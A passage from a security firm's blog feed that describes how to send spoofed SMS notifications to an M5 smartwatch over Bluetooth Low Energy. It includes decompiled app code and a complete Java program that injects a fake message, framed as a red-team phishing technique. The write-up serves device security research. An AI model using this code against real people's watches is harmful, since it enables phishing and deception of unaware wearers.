url="https://substack-post-media.s3.amazonaws.com/public/images/c5877e9e-aa8d-4c92-b6b1-6122d9a7c79e_1400x933.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Red teaming is a hard work, and sometimes you have to be creative. The targets may have been phished before through the standard ways and you may need to think out of the box.</p><p>In this article we explain how to hack into a SmartWatch and show a custom text message. I won&#8217;t delve too much into the Bluetooth Low Energy technology but you can refer <a href="https://cybervelia.com/?p=922">to our previous article for learning the basics</a>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ANOI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92c2f1ee-bb7b-47a4-a234-0a1a70315f09_300x300.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ANOI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92c2f1ee-bb7b-47a4-a234-0a1a70315f09_300x300.webp 424w, https://substackcdn.com/image/fetch/$s_!ANOI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92c2f1ee-bb7b-47a4-a234-0a1a70315f09_300x300.webp 848w, https://substackcdn.com/image/fetch/$s_!ANOI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92c2f1ee-bb7b-47a4-a234-0a1a70315f09_300x300.webp 1272w, https://substackcdn.com/image/fetch/$s_!ANOI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92c2f1ee-bb7b-47a4-a234-0a1a70315f09_300x300.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ANOI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92c2f1ee-bb7b-47a4-a234-0a1a70315f09_300x300.webp" width="300" height="300" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/92c2f1ee-bb7b-47a4-a234-0a1a70315f09_300x300.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:300,&quot;width&quot;:300,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:17626,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/webp&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ANOI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92c2f1ee-bb7b-47a4-a234-0a1a70315f09_300x300.webp 424w, https://substackcdn.com/image/fetch/$s_!ANOI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92c2f1ee-bb7b-47a4-a234-0a1a70315f09_300x300.webp 848w, https://substackcdn.com/image/fetch/$s_!ANOI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92c2f1ee-bb7b-47a4-a234-0a1a70315f09_300x300.webp 1272w, https://substackcdn.com/image/fetch/$s_!ANOI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F92c2f1ee-bb7b-47a4-a234-0a1a70315f09_300x300.webp 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The target is a SmartWatch M5 but the procedure is pretty much the same for all Smartwatches.</p><h2><strong>The Research &amp; Methodology</strong></h2><h3><strong>The Goal</strong></h3><p>Modern SmartWatches support showing Smartphone&#8217;s messages. Most SmartWatches support multiple text types which among others are WhatsApp, Facebook or SMS messages. The sender&#8217;s name or phone number is shown along with their message.</p><p>The goal of this task is to have a way to communicate with the SmartWatch and feed it with the right information to show a rogue text message. I believe such phishing attacks work better when the user is in motion. When the target is in a motion does not even look at the SmartPhone to confirm the origin of the message. The users trust the information shown in their SmartWatch thinking it is coming from the SmartWatch. The best part? Most of SmartWatches are insecure and allows adversaries to connect to the SmartWatch and do all kind of things.</p><p>The way one could use this attack may seem limited but it is actually very powerful if put in the right context.</p><h3><strong>The Research &#8211; Reverse Engineering the app</strong></h3><p>Unfortunately for us, each and every SmartWatch is doing things differently. Each vendor implements their own logic and their own protocol; thus for each brand/model we need to do some research first. So let&#8217;s get started. We need to install gatttool into a linux machine and have standard BLE dongle.</p><p>To connect and discover the characteristics we used a BLE dongle and standard Linux tools such as gatttool.</p><pre><code>gatttool -t public -b ff:ff:df:10:8d:f9 -I
[ff:ff:df:10:8d:f9][LE]&gt; characteristics
handle: 0x0002, char properties: 0x12, char value handle: 0x0003, uuid: 00002a00-0000-1000-8000-00805f9b34fb
handle: 0x0004, char properties: 0x02, char value handle: 0x0005, uuid: 00002a01-0000-1000-8000-00805f9b34fb
handle: 0x0006, char properties: 0x02, char value handle: 0x0007, uuid: 00002a04-0000-1000-8000-00805f9b34fb
handle: 0x0009, char properties: 0x20, char value handle: 0x000a, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x000d, char properties: 0x02, char value handle: 0x000e, uuid: 00002a50-0000-1000-8000-00805f9b34fb
handle: 0x000f, char properties: 0x02, char value handle: 0x0010, uuid: 00002a26-0000-1000-8000-00805f9b34fb
handle: 0x0011, char properties: 0x02, char value handle: 0x0012, uuid: 00002a28-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x06, char value handle: 0x0016, uuid: 00002a4e-0000-1000-8000-00805f9b34fb
handle: 0x0017, char properties: 0x12, char value handle: 0x0018, uuid: 00002a22-0000-1000-8000-00805f9b34fb
handle: 0x001a, char properties: 0x0e, char value handle: 0x001b, uuid: 00002a32-0000-1000-8000-00805f9b34fb
handle: 0x001c, char properties: 0x12, char value handle: 0x001d, uuid: 00002a4d-0000-1000-8000-00805f9b34fb
handle: 0x0020, char properties: 0x12, char value handle: 0x0021, uuid: 00002a4d-0000-1000-8000-00805f9b34fb
handle: 0x0024, char properties: 0x0e, char value handle: 0x0025, uuid: 00002a4d-0000-1000-8000-00805f9b34fb
handle: 0x0027, char properties: 0x02, char value handle: 0x0028, uuid: 00002a4b-0000-1000-8000-00805f9b34fb
handle: 0x002a, char properties: 0x02, char value handle: 0x002b, uuid: 00002a4a-0000-1000-8000-00805f9b34fb
handle: 0x002c, char properties: 0x04, char value handle: 0x002d, uuid: 00002a4c-0000-1000-8000-00805f9b34fb
handle: 0x002f, char properties: 0x10, char value handle: 0x0030, uuid: 6e400003-b5a3-f393-e0a9-e50e24dcca9d
handle: 0x0032, char properties: 0x0c, char value handle: 0x0033, uuid: 6e400002-b5a3-f393-e0a9-e50e24dcca9d
handle: 0x0035, char properties: 0x12, char value handle: 0x0036, uuid: 00002a19-0000-1000-8000-00805f9b34fb
handle: 0x0039, char properties: 0x06, char value handle: 0x003a, uuid: 00010203-0405-0607-0809-0a0b0c0d2b12</code></pre><p>We&#8217;ll have to decompile the SmartWatche&#8217;s mobile application to understand the custom BLE protocol. To do that we use Jadx which is a great decompiler and supports APK files out of the box.</p><p>The application is called FitPro and here how it looks like:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2RdA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b56d99f-d062-443e-8f0a-fe18ba46ba07_473x1024.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2RdA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b56d99f-d062-443e-8f0a-fe18ba46ba07_473x1024.jpeg 424w, https://substackcdn.com/image/fetch/$s_!2RdA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b56d99f-d062-443e-8f0a-fe18ba46ba07_473x1024.jpeg 848w, https://substackcdn.com/image/fetch/$s_!2RdA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b56d99f-d062-443e-8f0a-fe18ba46ba07_473x1024.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!2RdA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b56d99f-d062-443e-8f0a-fe18ba46ba07_473x1024.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2RdA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b56d99f-d062-443e-8f0a-fe18ba46ba07_473x1024.jpeg" width="293" height="634.3171247357294" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2b56d99f-d062-443e-8f0a-fe18ba46ba07_473x1024.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:473,&quot;resizeWidth&quot;:293,&quot;bytes&quot;:35873,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2RdA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b56d99f-d062-443e-8f0a-fe18ba46ba07_473x1024.jpeg 424w, https://substackcdn.com/image/fetch/$s_!2RdA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b56d99f-d062-443e-8f0a-fe18ba46ba07_473x1024.jpeg 848w, https://substackcdn.com/image/fetch/$s_!2RdA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b56d99f-d062-443e-8f0a-fe18ba46ba07_473x1024.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!2RdA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b56d99f-d062-443e-8f0a-fe18ba46ba07_473x1024.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">FitPro Android App</figcaption></figure></div><p>Through some code digging the notification handling class is found. This class is responsible for receiving SMS messages from Android and passing them over to the SmartWatch. Since this isn&#8217;t a reverse engineering write-up I won&#8217;t delve too much into the details of the task, however I will mention the findings.</p><p>The class is called &#8220;NotifyService&#8221; and through some other classes&#8217; methods invocation it is able to construct a BLE message and forward it to the device.</p><p>Here is the packet construction:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!y0sm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb68271df-7dfe-4bc6-9045-b2e73940c351_549x81.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!y0sm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb68271df-7dfe-4bc6-9045-b2e73940c351_549x81.png 424w, https://substackcdn.com/image/fetch/$s_!y0sm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb68271df-7dfe-4bc6-9045-b2e73940c351_549x81.png 848w, https://substackcdn.com/image/fetch/$s_!y0sm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb68271df-7dfe-4bc6-9045-b2e73940c351_549x81.png 1272w, https://substackcdn.com/image/fetch/$s_!y0sm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb68271df-7dfe-4bc6-9045-b2e73940c351_549x81.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!y0sm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb68271df-7dfe-4bc6-9045-b2e73940c351_549x81.png" width="549" height="81" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b68271df-7dfe-4bc6-9045-b2e73940c351_549x81.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:81,&quot;width&quot;:549,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:8981,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!y0sm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb68271df-7dfe-4bc6-9045-b2e73940c351_549x81.png 424w, https://substackcdn.com/image/fetch/$s_!y0sm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb68271df-7dfe-4bc6-9045-b2e73940c351_549x81.png 848w, https://substackcdn.com/image/fetch/$s_!y0sm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb68271df-7dfe-4bc6-9045-b2e73940c351_549x81.png 1272w, https://substackcdn.com/image/fetch/$s_!y0sm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb68271df-7dfe-4bc6-9045-b2e73940c351_549x81.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Custom PDU Format</figcaption></figure></div><p>The phone/source is the origin of the message and it&#8217;s a string. It can be anything really.</p><p>The phone is then followed by a colon and then a message.</p><p>The Message Packet Header is just 3 bytes and defines the type of the message.</p><p>Here how the type is defined, shown from the decompiled code:</p><pre><code>case 5:
  str3 = SaveKeyValues.getStringValues("SMSState", str3);
  obj = new byte[]{(byte) 1, (byte) 0, (byte) 0};
  break;
  ... SNIP ...
case 11:
  str3 = SaveKeyValues.getStringValues("FaceBookState", str3);
  obj = new byte[]{(byte) 4, (byte) 0, (byte) 0};
  break;
case 12:
  str3 = SaveKeyValues.getStringValues("linkdedInState", str3);
  obj = new byte[]{(byte) 17, (byte) 0, (byte) 0};
  break;
case 13:
  str3 = SaveKeyValues.getStringValues("KakaoTalkState", str3);
  obj = new byte[]{(byte) 9, (byte) 0, (byte) 0};
  break;
default:</code></pre><p>Therefore, for SMS messages the bytes {1,0,0} are used.</p><p>The protocol header is defined by two variable numbers which are actually based on the length of the data. Therefore, the message&#8217;s length is included.</p><p>This is how the protocol&#8217;s header is constructed (Don&#8217;t overthink about it):</p><pre><code>public static byte[] getProtocol(byte b, byte b2, byte[] bArr) {
  Integer valueOf = Integer.valueOf(getLength().intValue() + bArr.length);
  Object obj = new byte[valueOf.intValue()];
  obj[0] = (byte) -51;
  Object intToBytes = ByteUtil.intToBytes(valueOf.intValue() - 3);
  System.arraycopy(intToBytes, 2, obj, 1, intToBytes.length - 2);
  obj[3] = b;
  obj[4] = 1;
  obj[5] = b2;
  Object intToBytes2 = ByteUtil.intToBytes(bArr.length);
  System.arraycopy(intToBytes2, 2, obj, 6, intToBytes2.length - 2);
  System.arraycopy(bArr, 0, obj, 8, bArr.length);
  return obj;
}</code></pre><p>The NotifyService class leads also the the characteristic&#8217;s UUID (6e400002-b5a3-f393-e0a9-e50e24dcca9d) and therefore to its value handle (0x33).</p><p>Now we have a complete picture of how to send data to the SmartWatch. We&#8217; ll now construct the code to send data to the device. We selected Java as we make use part of the decompiled code to construct the packet.</p><h2><strong>Re-constructing the Packet</strong></h2><p>Let&#8217;s construct the message and the message&#8217;s header:</p><pre><code>static byte[] constructMessage(String phone, String msg) {
  ByteBuffer buffer = ByteBuffer.allocate(3 + msg.length() + 1 + phone.length());
  buffer.put(new byte[]{1,0,0});
  buffer.put(phone.getBytes());
  buffer.put((byte) 58); // colon
  buffer.put(msg.getBytes());
  return buffer.array();
}</code></pre><p>We transfer the function getProtocol from the decompiled code, and then renaming some variables for clarity as well as altering some functions to match Java&#8217;s API:</p><pre><code>public static byte[] getProtocol(byte b, byte b2, byte[] bArr) {
  Integer intBarrAndIntLen = Integer.valueOf(getLength().intValue() + bArr.length);
  byte[] payload = new byte[intBarrAndIntLen.intValue()];
  payload[0] = (byte) -51;
  byte[] byteOfIntBarrALenMinus3 = ByteBuffer.allocate(8).putInt(intBarrAndIntLen.intValue() - 3).array();
  System.arraycopy(byteOfIntBarrALenMinus3, 2, payload, 1, byteOfIntBarrALenMinus3.length - 2);
  payload[3] = b;
  payload[4] = 1;
  payload[5] = b2;
  byte[] intToBytes2 = ByteBuffer.allocate(4).putInt(bArr.length).array();
  System.arraycopy(intToBytes2, 2, payload, 6, intToBytes2.length - 2);
  System.arraycopy(bArr, 0, payload, 8, bArr.length);
  return payload;
}</code></pre><p>The input of the method is given by the following method:</p><pre><code>public static byte[] getSendPushRemindValue(int i, byte[] bArr) {
&#9;return getProtocol((byte) 18, i == 1 ? (byte) 18 : (byte) 17, bArr);
}</code></pre><p>How we make use of the method getProtocol:</p><pre><code>byte[] data = getProtocol((byte)18, (byte)18, constructMessage("Helen", "I need help. 2nd floor"));</code></pre><p>Since the default MTU of BLE allows 20 bytes to be sent the custom protocol&#8217;s message is split in two and therefore two BLE packets are used to transfer the custom PDU from the app to the SmartWatch.</p><h2><strong>Sending the custom message</strong></h2><p>Now we have all the necessary information to construct a valid message. So let&#8217;s connect and send it to the SmartWatch. To do that we make use of tool BLE:bit (blebit.io), but any other tool could be used really.</p><pre><code>short chr_handle = 0x33;

// Create a controller object
CEController ce = BLEHelper.getCentralController(new CEBLEDeviceCallbackHandler());
if (ce == null) {
System.err.println("BLE:bit CE tool not found");
}

// Initialize the BLE tool
ce.sendConnectionParameters(new CEConnectionParameters());
ce.sendBluetoothDeviceAddress("ff:55:ee:fe:4a:af", ConnectionTypesCommon.BITAddressType.STATIC_PRIVATE);
ce.configurePairing(ConnectionTypesCommon.PairingMethods.NO_IO, null);
ce.finishSetup();

System.out.println("Searching for the target");

// Connect to the target
ce.connectNow("ff:ff:df:10:8d:f9", ConnectionTypesCommon.AddressType.PUBLIC_ADDR);

System.out.println("Connected");

// Send data to the device
byte[] data = getProtocol((byte)18, (byte)18, constructMessage("Helen", "I need help. 2nd floor"));

if (data.length &lt;= 20) {
sendData(ce, data, chr_handle);
}else {
byte[] first_packet = Arrays.copyOfRange(data, 0, 20);
byte[] second_packet = Arrays.copyOfRange(data, 20, data.length);

sendData(ce, first_packet, chr_handle);
sendData(ce, second_packet, chr_handle);
}

// Disconnect and terminate the session
ce.disconnect(19);
ce.terminate();

System.out.println("Terminated");</code></pre><p>The program is constructing a message having the sender&#8217;s name to be &#8220;Helen&#8221; and the message body to be &#8220;I need help. 2nd floor&#8221;.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!atGA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429d6d02-18f6-4ec5-8feb-7749cbd502ba_517x800.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!atGA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429d6d02-18f6-4ec5-8feb-7749cbd502ba_517x800.jpeg 424w, https://substackcdn.com/image/fetch/$s_!atGA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429d6d02-18f6-4ec5-8feb-7749cbd502ba_517x800.jpeg 848w, https://substackcdn.com/image/fetch/$s_!atGA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429d6d02-18f6-4ec5-8feb-7749cbd502ba_517x800.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!atGA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429d6d02-18f6-4ec5-8feb-7749cbd502ba_517x800.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!atGA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429d6d02-18f6-4ec5-8feb-7749cbd502ba_517x800.jpeg" width="345" height="533.8491295938104" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/429d6d02-18f6-4ec5-8feb-7749cbd502ba_517x800.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:800,&quot;width&quot;:517,&quot;resizeWidth&quot;:345,&quot;bytes&quot;:171422,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!atGA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429d6d02-18f6-4ec5-8feb-7749cbd502ba_517x800.jpeg 424w, https://substackcdn.com/image/fetch/$s_!atGA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429d6d02-18f6-4ec5-8feb-7749cbd502ba_517x800.jpeg 848w, https://substackcdn.com/image/fetch/$s_!atGA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429d6d02-18f6-4ec5-8feb-7749cbd502ba_517x800.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!atGA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429d6d02-18f6-4ec5-8feb-7749cbd502ba_517x800.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Pwned</figcaption></figure></div><h2><strong>Do you own a product?</strong></h2><p>Let's schedule a consultation to identify your potential attack vectors. From there, we can strategize a comprehensive testing plan aimed at fortifying your product against vulnerabilities, thereby safeguarding both your user base and infrastructure from malicious activities.</p><p></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://cybervelia.com/penetration-testing&quot;,&quot;text&quot;:&quot;Book a Pentest&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://cybervelia.com/penetration-testing"><span>Book a Pentest</span></a></p>]]></content:encoded></item><item><title><![CDATA[Testing a mobile app using a device you don’t have]]></title><description><![CDATA[We will go through a BLE Bulb Application and try to make the 